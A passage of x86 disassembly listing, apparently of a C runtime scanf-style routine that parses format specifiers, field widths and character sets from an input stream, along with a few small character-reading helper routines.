sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc 